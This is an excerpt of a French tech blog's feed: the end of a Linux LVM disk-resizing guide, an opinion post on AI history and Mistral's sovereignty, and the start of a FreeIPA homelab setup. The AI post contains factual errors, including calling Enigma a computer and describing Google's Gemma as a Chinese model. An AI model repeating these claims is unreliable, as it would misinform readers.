<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ajouter-un-disque-plutôt-quétendre--souvent-la-meilleure-option-en-vm">Ajouter un disque plutôt qu'étendre — souvent la meilleure option en VM<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#ajouter-un-disque-plut%C3%B4t-qu%C3%A9tendre--souvent-la-meilleure-option-en-vm" class="hash-link" aria-label="Lien direct vers Ajouter un disque plutôt qu'étendre — souvent la meilleure option en VM" title="Lien direct vers Ajouter un disque plutôt qu'étendre — souvent la meilleure option en VM" translate="no">​</a></h3>
<p>C'est la façon la plus propre et la plus sûre d'agrandir un VG. Aucune table de partitions à réécrire.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># après ajout du disque dans Proxmox</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"- - -"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> /sys/class/scsi_host/host0/scan     </span><span class="token comment" style="color:#999988;font-style:italic"># détection à chaud</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pvcreate /dev/sdb                    </span><span class="token comment" style="color:#999988;font-style:italic"># PV sur le disque brut, sans partition</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">vgextend ubuntu-vg /dev/sdb          </span><span class="token comment" style="color:#999988;font-style:italic"># ajout au VG existant</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> +100%FREE </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> /dev/ubuntu-vg/ubuntu-lv</span><br></div></code></pre></div></div>
<p>Contrepartie : le LV s'étale sur deux disques virtuels, ce qui complique légèrement la maintenance ultérieure (et rend obligatoire un <code>pvmove</code> pour retirer un disque).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="thin-provisioning">Thin provisioning<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#thin-provisioning" class="hash-link" aria-label="Lien direct vers Thin provisioning" title="Lien direct vers Thin provisioning" translate="no">​</a></h3>
<p>Si <code>lvs</code> affiche des colonnes <code>Pool</code>, <code>Data%</code> et <code>Meta%</code> renseignées, le LV est <em>thin</em>. L'extension du pool suit la même logique, mais il faut surveiller <strong>aussi</strong> le volume de métadonnées :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">-L</span><span class="token plain"> +20G ubuntu-vg/thinpool                    </span><span class="token comment" style="color:#999988;font-style:italic"># données</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvextend </span><span class="token parameter variable" style="color:#36acaa">--poolmetadatasize</span><span class="token plain"> +1G ubuntu-vg/thinpool     </span><span class="token comment" style="color:#999988;font-style:italic"># métadonnées</span><br></div></code></pre></div></div>
<p>Un pool de métadonnées saturé rend le pool entier illisible, c'est une panne bien plus grave qu'un simple disque plein.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="9-diagnostic-rapide">9. Diagnostic rapide<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#9-diagnostic-rapide" class="hash-link" aria-label="Lien direct vers 9. Diagnostic rapide" title="Lien direct vers 9. Diagnostic rapide" translate="no">​</a></h2>
<table><thead><tr><th>Symptôme</th><th>Couche en cause</th><th>Commande</th></tr></thead><tbody><tr><td><code>lsblk</code> affiche l'ancienne taille du <strong>disque</strong></td><td>Noyau</td><td><code>echo 1 &gt; /sys/class/block/sda/device/rescan</code></td></tr><tr><td><code>parted</code> affiche <code>Fix/Ignore?</code> sur l'espace disponible</td><td>En-tête GPT de secours</td><td><code>growpart</code> (ou <code>sgdisk -e</code>)</td></tr><tr><td><code>growpart</code> : « last usable GPT sector is … »</td><td>En-tête GPT de secours</td><td><code>sgdisk -e /dev/sda</code> puis relancer</td></tr><tr><td>Partition inchangée après <code>growpart</code> réussi</td><td>Noyau non notifié</td><td><code>partx -u /dev/sda3</code></td></tr><tr><td><code>pvs</code> : <code>PFree 0</code> alors que la partition a grandi</td><td>Métadonnées LVM</td><td><code>pvresize /dev/sda3</code></td></tr><tr><td><code>vgs</code> : <code>VFree 0</code> alors que <code>PFree &gt; 0</code></td><td>Incohérence rare</td><td><code>vgck</code>, <code>pvs -v</code></td></tr><tr><td><code>lvextend</code> : « Insufficient free space »</td><td>VG plein</td><td><code>vgs</code> — remonter d'un cran</td></tr><tr><td><code>df</code> inchangé après <code>lvextend</code></td><td>Superbloc FS</td><td><code>resize2fs</code> / <code>xfs_growfs</code></td></tr><tr><td><code>xfs_growfs</code> : « not a mounted XFS filesystem »</td><td>Mauvais argument</td><td>passer le <strong>point de montage</strong></td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="10-sécurité-et-bonnes-pratiques">10. Sécurité et bonnes pratiques<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#10-s%C3%A9curit%C3%A9-et-bonnes-pratiques" class="hash-link" aria-label="Lien direct vers 10. Sécurité et bonnes pratiques" title="Lien direct vers 10. Sécurité et bonnes pratiques" translate="no">​</a></h2>
<p><strong>À faire systématiquement</strong></p>
<ul>
<li class="">Snapshot ou sauvegarde de la VM avant de toucher à la table de partitions.</li>
<li class=""><code>sfdisk -d /dev/sda &gt; backup.txt</code> — restauration possible par <code>sfdisk /dev/sda &lt; backup.txt</code>.</li>
<li class="">Toujours passer par <code>growpart --dry-run</code> et <strong>vérifier que <code>start</code> est inchangé</strong>.</li>
<li class="">Travailler sur une console série ou l'écran Proxmox plutôt qu'en SSH : une coupure réseau au mauvais moment n'interrompt pas la commande, mais prive de la sortie.</li>
</ul>
<p><strong>Le vrai risque, honnêtement évalué</strong></p>
<p>L'unique scénario dangereux est une coupure brutale (crash de l'hôte, OOM) <strong>pendant</strong> la réécriture de la table de partitions. Les données resteraient intactes, mais la table serait incohérente et le disque non amorçable jusqu'à reconstruction. La fenêtre concernée est de quelques millisecondes, et l'opération est celle que cloud-init exécute au premier boot de millions d'instances cloud par jour. Les étapes 4 à 6 (<code>pvresize</code>, <code>lvextend</code>, <code>resize2fs</code>) sont, elles, sans risque réel : elles sont conçues pour tourner à chaud en production.</p>
<p><strong>Rappel structurel</strong></p>
<ul>
<li class="">Proxmox ne sait <strong>qu'agrandir</strong> un disque, jamais le réduire.</li>
<li class="">ext4 peut rétrécir (à froid), XFS jamais.</li>
<li class="">Réduire un LV avant son système de fichiers détruit les données. Dans le doute : ne pas réduire.</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="annexe--commandes-de-référence">Annexe — Commandes de référence<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#annexe--commandes-de-r%C3%A9f%C3%A9rence" class="hash-link" aria-label="Lien direct vers Annexe — Commandes de référence" title="Lien direct vers Annexe — Commandes de référence" translate="no">​</a></h2>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Inspection</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> NAME,SIZE,FSTYPE,MOUNTPOINT,TYPE</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain">                                    </span><span class="token comment" style="color:#999988;font-style:italic"># en octets</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">blkid                                       </span><span class="token comment" style="color:#999988;font-style:italic"># UUID et types</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">parted</span><span class="token plain"> /dev/sda unit s print </span><span class="token function" style="color:#d73a49">free</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">sfdisk </span><span class="token parameter variable" style="color:#36acaa">-d</span><span class="token plain"> /dev/sda                          </span><span class="token comment" style="color:#999988;font-style:italic"># dump exploitable de la table</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">sgdisk </span><span class="token parameter variable" style="color:#36acaa">-p</span><span class="token plain"> /dev/sda                          </span><span class="token comment" style="color:#999988;font-style:italic"># vue GPT détaillée</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> /proc/partitions</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># LVM</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pvs -o+pv_used,pv_pe_count                  </span><span class="token comment" style="color:#999988;font-style:italic"># vue PV enrichie</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">vgs -o+vg_extent_size</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvs -o+devices,seg_pe_ranges</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pvdisplay </span><span class="token parameter variable" style="color:#36acaa">-m</span><span class="token plain"> /dev/sda3                      </span><span class="token comment" style="color:#999988;font-style:italic"># mapping des extents</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">vgdisplay ubuntu-vg</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lvmdiskscan</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Systèmes de fichiers</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">dumpe2fs </span><span class="token parameter variable" style="color:#36acaa">-h</span><span class="token plain"> /dev/mapper/ubuntu--vg-ubuntu--lv</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">xfs_info /</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">tune2fs </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> /dev/mapper/ubuntu--vg-ubuntu--lv</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Récupération LVM</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">vgcfgrestore </span><span class="token parameter variable" style="color:#36acaa">-l</span><span class="token plain"> ubuntu-vg                   </span><span class="token comment" style="color:#999988;font-style:italic"># lister les archives</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">vgcfgrestore </span><span class="token parameter variable" style="color:#36acaa">-f</span><span class="token plain"> /etc/lvm/archive/xxx.vg ubuntu-vg</span><br></div></code></pre></div></div>
<p><strong>Pages de manuel à consulter :</strong> <code>lvm(8)</code>, <code>pvresize(8)</code>, <code>lvextend(8)</code>, <code>growpart(1)</code>, <code>sfdisk(8)</code>, <code>sgdisk(8)</code>, <code>resize2fs(8)</code>, <code>xfs_growfs(8)</code>, <code>partx(8)</code>.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Mistral, l'IA française souveraine]]></title>
        <id>https://docs.bastienbonora.fr/blog/Mistral-pourquoi-souverain</id>
        <link href="https://docs.bastienbonora.fr/blog/Mistral-pourquoi-souverain"/>
        <updated>2026-07-03T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Surfons un peu sur une vague déjà passée depuis très longtemps : l'IA. Je suis particulièrement lent à la détente, alors je ne m'y mets que maintenant ; après tout, il n'est jamais trop tard.]]></summary>
        <content type="html"><![CDATA[<p>Surfons un peu sur une vague déjà passée depuis très longtemps : l'IA. Je suis particulièrement lent à la détente, alors je ne m'y mets que maintenant ; après tout, il n'est jamais trop tard.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="petite-introduction-historique">Petite introduction historique<a href="https://docs.bastienbonora.fr/blog/Mistral-pourquoi-souverain#petite-introduction-historique" class="hash-link" aria-label="Lien direct vers Petite introduction historique" title="Lien direct vers Petite introduction historique" translate="no">​</a></h2>
<p>Je ne change pas mes vieilles habitudes, j'aime bien comprendre d'où provient tout ce que l'on a alors, un petit cours d'histoire</p>
<p>Les premiers travaux fondateurs datent des années <strong>1940-1950</strong> (oui oui, si tôt, très tôt même, on venait à peine de créer ce que l'on pouvait nommer <em>ordinateur</em> aka <strong>Enigma</strong>), avec les idées de Shannon (théorie de l'information en 1948) sur l'entropie de langage et les modèles de prédiction de mots, et <strong>Turing</strong> (1950) qui pose les bases théoriques de l'IA.
Mais c'est dans les années 1960-1970 que naissent les premiers modèles statistiques de langage, comme les <strong>n-grammes</strong> (modèles de Markov appliqués au texte), conçus pour prédire le mot suivant dans une phrase à partir des <code>n-1</code> précédents.</p>
<p>Ces modèles simples mais efficaces étaient initialement utilisés pour la compression de texte et la reconnaissance vocale, puis plus largement pour de la traduction automatique statistique (comme le système <strong>SYSTRAN</strong> en 1968 développé pour la commission européenne et l'US air force). L'objectif était pragmatique : automatiser la traduction entre langues sans recourir à des règles linguistiques manuelles, trop coûteuses à maintenir.</p>
<p>Dans les années <strong>1980-1990</strong>, l’apprentissage automatique prend le relais avec les réseaux de neurones (notamment les RNN, <strong>R</strong>ecurrent <strong>N</strong>eural <strong>N</strong>etworks), capables de capturer des dépendances à longue portée dans le texte. Les travaux de Rumelhart et McClelland (1986) sur les réseaux à propagation avant (feedforward) et ceux de Elman (1990) sur les RNN ouvrent la voie à des modèles distribués du langage, où les mots sont représentés par des vecteurs (embeddings) apprenant leurs relations sémantiques. Ces avancées visaient à surmonter les limites des n-grammes, incapables de généraliser à des contextes non vus. Les applications cibles restaient la traduction, mais aussi la génération de texte et le dialogue homme-machine.</p>
<p>Mais alors d'où nous vient le tournant qui nous a amené aujourd'hui à utiliser des modèles que l'on nomme "LLM" ? Ce tournant s'est produit dans les années <strong>2010</strong> avec deux innnovations majeures :</p>
<ol>
<li class=""><strong>l'apprentissage profond</strong> (<em>deep learning</em>), popularisé par Hinton (2006) avec des architectures comme <strong>LSTM</strong> (<strong>L</strong>ong <strong>S</strong>hort-<strong>T</strong>erm <strong>M</strong>emory) et GRU qui permettent entre autre les <em>gradients évanescents</em> dans les RNN, permettant d'apprendre des dépendances sur de longues séquences.</li>
<li class=""><strong>L'attention</strong> introduite par <strong>Bahdanau et al.</strong> (2014) pour la traduction automatique, qui permet au modèle de se concentrer sur les parties pertinentes de la séquence d'entrée, améliorant radicalement les performances.</li>
</ol>
<p>C'est en 2017 que <strong>Vaswani et al.</strong> (Google) publient "<em>Attention is all you need</em>", proposant l'architecture <strong>Transformer</strong>, qui abandonne les RNN au profit de mécanismes d'attention <em>auto-régressifs et parallélisables</em>. Cette architecture, conçue pour la traduction se révèle si efficace qu'elle est devenue la base des LLM modernes.
Les premiers modèles BERT (2018, Google) et GPT (2018, OpenAI) exploitent cette architecture pour des tâches de <strong>compréhension</strong> (BERT, <em>bidirectionnel</em>) et de <strong>génération</strong> (GPT, <em>unidirectionnel</em>), en les pré-entraînant sur de grands corpus de texte (comme BooksCorpus, Wikipedia et bien d'autres de manière rarement légale) via des objectifs auto-supervisés (<em>masked-language-modeling</em> pour BERT et <em>next-token-generation</em> pour GPT).</p>
<hr>
<p>Tout cela nous amène aujourd'hui, où les objectifs de traduction ont été dépassés depuis bien longtemps par notre société de consommation. Que cela soit de la génération d'image, de texte, de code, on a transformé cet outil de traduction par un outil capable de générer toute sorte de choses.
Cet essor a été permis par la quantité de données avalées par ces modèles (toujours plus de texte emmagasiné, si bien qu'on estime aujourd'hui que tout internet est déjà utilisé pour l'entraînement de ces modèles) mais également la puissance et l'efficience des puces. Nous devons cette dernière partie grandement à Nvidia qui a su designer des puces particulièrement efficaces et a permis une baisse drastique du coût d'entraînement des modèles (devenu la partie la plus coûteuse des LLM).</p>
<p>Tout cela a par la même occasion permis une augmentation plus qu'impressionnante du prix des composants électronique, plus particulièrement de la mémoire informatique sous toutes ses formes (RAM, SSD, cache, toute sorte de mémoire). Si bien que beaucoup commencent à se demander s'il n'y a pas une forme de complot entre tous les grands fabriquants de puce qui leur permettrait de garder les prix au plus haut sans se concurrencer...
D'autres médias en parleront mieux que mes quelques mots :</p>
<ul>
<li class=""><a href="https://www.jeuxvideo.com/news/2091614/et-si-l-augmentation-du-prix-de-la-ram-n-etait-en-realite-qu-une-strategie-commerciale-voici-la-plainte-qui-defend-les-gamers.htm" target="_blank" rel="noopener noreferrer" class="">JVTECH</a></li>
<li class=""><a href="https://www.gamekult.com/actualite/les-trois-geants-de-la-ram-attaques-en-justice-pour-entente-sur-les-prix-3050871014.html" target="_blank" rel="noopener noreferrer" class="">Gamekult</a></li>
<li class=""><a href="https://www.01net.com/actualites/penurie-de-ram-ou-enorme-complot-les-trois-geants-de-la-memoire-traines-en-justice-pour-entente-illegale.html" target="_blank" rel="noopener noreferrer" class="">01net</a></li>
</ul>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="et-aujourdhui-alors-">Et aujourd'hui alors ?<a href="https://docs.bastienbonora.fr/blog/Mistral-pourquoi-souverain#et-aujourdhui-alors-" class="hash-link" aria-label="Lien direct vers Et aujourd'hui alors ?" title="Lien direct vers Et aujourd'hui alors ?" translate="no">​</a></h2>
<p>Comme tout le monde je pense, je me suis rapidement pris d'affection pour ces outils particulièrement efficaces. En ce moment, la guerre des grands acteurs de l'IA se joue principalement sur plusieurs domaines :</p>
<ol>
<li class="">Celui qui répond le plus vite</li>
<li class="">Celui qui répond de manière la plus réfléchie que l'on définit de plus en plus comme une forme "d'intelligence"</li>
<li class="">Celui qui fait le plus sensation</li>
</ol>
<p>Il est depuis un peu plus de 6 mois évident que la société Anthropic à l'origine de la suite de LLM nommé "Claude" est en tête sur chacun de ces domaines. Et je fais partie de ceux qui compte parmis ses utilisateurs les plus fidèles (à mon plus grand regret).</p>
<p>Et pour avoir testé leurs modèles de plus en plus souvent, je dois avouer qu'il est désormais compliqué de s'en passer. Et ce pour plusieurs raisons :</p>
<ol>
<li class=""><strong>L'efficacité</strong>. Être capable de faire quelque chose correctement et plus rapidement ne peut être que bénéfique pour nous ou pour la société pour qui on travaille. Un compromis gagnant gagnant.</li>
<li class=""><strong>L'apprentissage</strong>. C'est probablement l'utilisation la plus intéressante selon moi, et là dedan Claude est plus que performant. Avant de devenir le grand remplacement des humains, l'IA est un outil. Un outil capable de faire ce qu'on lui demande, et pour apprendre de nouveaux concepts, de nouvelle méthode, c'est vraiment un outil particulièrement pertinent</li>
</ol>
<p>Cependant à tout point positifs, ses points négatifs et il faut bien les connaîtres. Premièrement, dans cette guerre aux IA, la grande majorité des prétendants sont Etats-Uniens, et ce sont donc des sociétés qui ne sont pas fiable par définition. Je pense que les récents événements dans le domaine tel que la <a href="https://www.it-connect.fr/anthropic-coupe-lacces-a-fable-5-et-mythos-5-sur-ordre-du-gouvernement-americain/" target="_blank" rel="noopener noreferrer" class="">coupure récente des modèles phares de Claude</a> ou du dernier modèle de chatGPT reflète parfaitement cela.
Après tout on ne réinvente pas la poudre, on le saurait si les Etats-Unis étaient un État qui existait pour le bien du monde. Ses intérêts passent avant toute autre chose. Et donc, les données que l'on donne à ces entreprises, les réponses qu'elle génèrent peuvent et sont probablement déjà largement utilisées de manière illégale (contre la règlementation Européenne, les RGPD, l'IA Act, tout ça tout ça...).</p>
<p>Cette vision des chose reste largement à garder lorsque l'on utilise ces modèles. Que ça soit Claude chatGPT ou d'autres prétendants Etats-Uniens, tous resteront sous l'emprise de l'Etat.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="et-mistral-dans-tout-ça">Et mistral dans tout ça<a href="https://docs.bastienbonora.fr/blog/Mistral-pourquoi-souverain#et-mistral-dans-tout-%C3%A7a" class="hash-link" aria-label="Lien direct vers Et mistral dans tout ça" title="Lien direct vers Et mistral dans tout ça" translate="no">​</a></h2>
<p>Oui, je suis long à introduire tout ça, mais mieux vaut du contexte pour parler du loup, car il ne fait pas l'unanimité.</p>
<p>Premièrement, je sais pertinemment que pour le moment Mistral ressemble plus à un modèle GPT3 qu'à un Opus de chez Claude. On peut le voir au travers de ses réponses interminables, son incapacité à se corriger, son utilisation plus que pénible des émoijis... Des signes qui montrent une seule chose : Mistral est loin derrière, et on peut le vérifier de par ses réponses que par son porte monnaie.
Je vous laisse un avant goût de la <a href="https://companiesmarketcap.com/fr/intelligence-artificielle/plus-grandes-entreprises-ia-par-capitalisation-boursiere/" target="_blank" rel="noopener noreferrer" class="">apitalisation boursière des plus grands</a>, puis je vous dit que le porte-monnaie de Mistral approximativement de 6.5 Milliards d'euros, là où OpenAI (852 Md$) et Anthropic (965 Md$) frôlent les 1000 milliards de dollars de valorisation privée, en préparation de leur introduction en bourse (IPO) prévue 2026-2027.
Donc si je résume, je vous fais un article pour vous parler d'une IA Française souveraine qui n'a ni la puissance de calcul, ni les moyens financiers, ni la politique de son côté, mais de quoi je vous cause ?</p>
<p>Eh bien, on parle aujourd'hui de la seule société qui permet aux entreprises du monde entier de faire tourner son modèle de manière souveraine sans risquer une fuite de donnée ou une utilisation illégale de ces dernières. Mistral permet aux sociétés qui le veulent d'entraîner des modèles Customisés capable de tourner dans une infrastructure privée complètement hors ligne. Et cerise sur la gateau : Mistral est une société Française et donc est RGPD-compliant par défaut, que demander de plus pour garantir la sécurité de ses données ?
Cela leur permet d'avoir des modèles pour aider ces entreprises dans tout un tas de domaine. Et ÇA, c'est une chose que seule notre belle petite société française sait faire.</p>
<p>Le placement de cette société se fait aussi dans le domaine open-source. Leurs modèles sont pour la plupart disponible en ligne et on peut tous les faire tourner sur des machines qui en ont la capacité.
Vous allez me dire que beaucoup d'autres modèles sont open-source ou ont un placement similaire. On peut penser à juste titre à des modèles chinois tels que Gemma de Google, mais aucun n'a pour le moment cette présence qu'a Mistral sur le marché professionnel.</p>
<p>Une certaine gamme de modèle propriétaire (mistral Large par exmeple) ont vocation à être déployé en local dans les entreprise ou customisé directement dans l'interface web mistral studio.</p>
<p>Aujourd'hui être souverain est devenu au delà d'un simple mot une valeur essentielle. Avoir la capacité de sécuriser ses forces les plus importantes et les produire sans l'aide de quiconque est extrêmement important. De Gaulle nous l'a montré avec le nucléaire et Dassault avec l'aviation.
L'IA est devenu une arme à part entière, regardez-donc Palantir... Une belle société utilisant l'IA pour optimiser les décisions de guerre. Quelle belle utilisation de la technologie n'est-ce pas ?</p>
<p>Mistral n'est peut-être pas la société la plus performante du moment, ni même la plus intéressante à utiliser et elle ne le sera probablement jamais, mais elle doit continuer d'exister ou nous serons une fois de plus à la merci des USA ou de la Chine comme nous le sommes toujours au niveau du cloud ou des solutions d'entreprise (Microsoft 365).</p>
<p>Dans ce domaine, nous ne pouvons que remarquer l'effort que fait le gouvernement de développer des solutions open-source pour ne pas dépendre des états-unis (LaSuite, Tchap et tous les outils qui s'en suivent).
Cela montre une volonté forte d'être souverain en informatique. Cette partie se montre déjà par l'hébergement des services de l'Etat dans les infrastructures du ministère de l'intérieur. Mais elle se montre également par le parti pris de l'État de rendre ces solutions open-source. C'est littéralement une invitation toute faite aux entreprises privées de prendre des solutions développées par un État et de contribuer à leur développement !</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="IA" term="IA"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Installation de FreeIPA dans mon home-lab]]></title>
        <id>https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa</id>
        <link href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa"/>
        <updated>2026-05-30T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Pour faire suite à mes autres articles, je mets en place ici une solution d'authentification centralisée. Un annuaire open source nommé FreeIPA qui permet de faire tout un tas de chose, un peuu à la Active Directory de Microsoft.]]></summary>
        <content type="html"><![CDATA[<p>Pour faire suite à mes autres articles, je mets en place ici une solution d'authentification centralisée. Un annuaire open source nommé FreeIPA qui permet de faire tout un tas de chose, un peuu à la <code>Active Directory</code> de Microsoft.</p>
<p>Ce serveur sera central dans l'authentification sur le réseau, la résolution DNS, la gestion des utilisateurs et des machines.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-freeipa">Pourquoi FreeIPA<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#pourquoi-freeipa" class="hash-link" aria-label="Lien direct vers Pourquoi FreeIPA" title="Lien direct vers Pourquoi FreeIPA" translate="no">​</a></h2>
<p>Il existe beaucoup de solutions OpenSource qui permettent de faire office d'annuaire LDAP. Ce protocole a pour objectif d'être une source de vérifé des identités dans la plupart des organisations.
Cela permet plein de chose, notamment une harmonisation des utilisateurs. Au lieu de se retrouver avec le même compte ayant le même identifiant sur chaque ressource interne (et tous indépendant les uns des autres), on se retrouve avec une identité unique qui permet d'aller partout (lorsque le protocole est pris en charge).</p>
<p>L'avantage de FreeIPA est que c'est un outil particulièrement complet avec la possibilité de faire plein de choses :</p>
<ul>
<li class="">Annuaire LDAP</li>
<li class="">Résolution DNS (sur un domaine interne ou en tant que serveur de relai)</li>
<li class="">PKI afin de gérer des certificats et faire office d'autorité de certification principale</li>
<li class="">Authentification sur le réseau via des protocoles comme RADIUS ou kerberos permettant ainsi d'authentifier un utilisateur ou une machine sur le réseau de manière sécurisée en utilisant l'annuaire LDAP</li>
</ul>
<p>De surcroît, c'est une solution développée par RedHat qui reste une entité reconnue pour la sécurité des solutions qu'ils développent. Et qui d'ailleurs sont utilisées mondialement.
Allez jeter un coup d'oeil à leur documentation pour plus de précision sur la solution : <a href="https://www.freeipa.org/page/Main_Page" target="_blank" rel="noopener noreferrer" class="">Documentation officielle FreeIPA</a></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="quel-os-utiliser-">Quel OS utiliser ?<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#quel-os-utiliser-" class="hash-link" aria-label="Lien direct vers Quel OS utiliser ?" title="Lien direct vers Quel OS utiliser ?" translate="no">​</a></h2>
<p>Là dessus, on a plein de solutions différentes. On peut se dire "FreeIPA = RedHat" donc on va aller sur RHEL. Souci, ça reste une solution privée même si on peut avoir des licences pour des environnements restreints (comme des labs).</p>
<p>Je compte partir sur Fedora qui est en fait l'origine de RHEL. RedHat se base des sources de Fedora pour construire un OS plus restreint / sécurisé afin d'en faire une solution propre à une utilisation professionnelle pouvant remplacer microsoft.
Et donc tous les outils nécessaire seront disponible facilement / nativement dans fedora.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation-de-fedora">Installation de fedora<a href="https://docs.bastienbonora.fr/blog/homelab-installation-free-ipa#installation-de-fedora" class="hash-link" aria-label="Lien direct vers Installation de fedora" title="Lien direct vers Installation de fedora" translate="no">​</a></h2>
<p>Il faut pour ça aller récupérer sa meilleure iso <a href="https://fedoraproject.org/server/download/" target="_blank" rel="noopener noreferrer" class="">fedora server</a> et l'envoyer dans proxmox.</p>
<p>Pour ma part, j'ai donc créé mon serveur sur mon bridge <code>internal</code> avec le vlan 20 (donc sur le réseau <code>10.20.20.0/24</code>)</p>
<p>Une fois le serveur lancé, vous aurez une belle petite interface graphique qui vous permet de tout installer en quelques clics.</p>
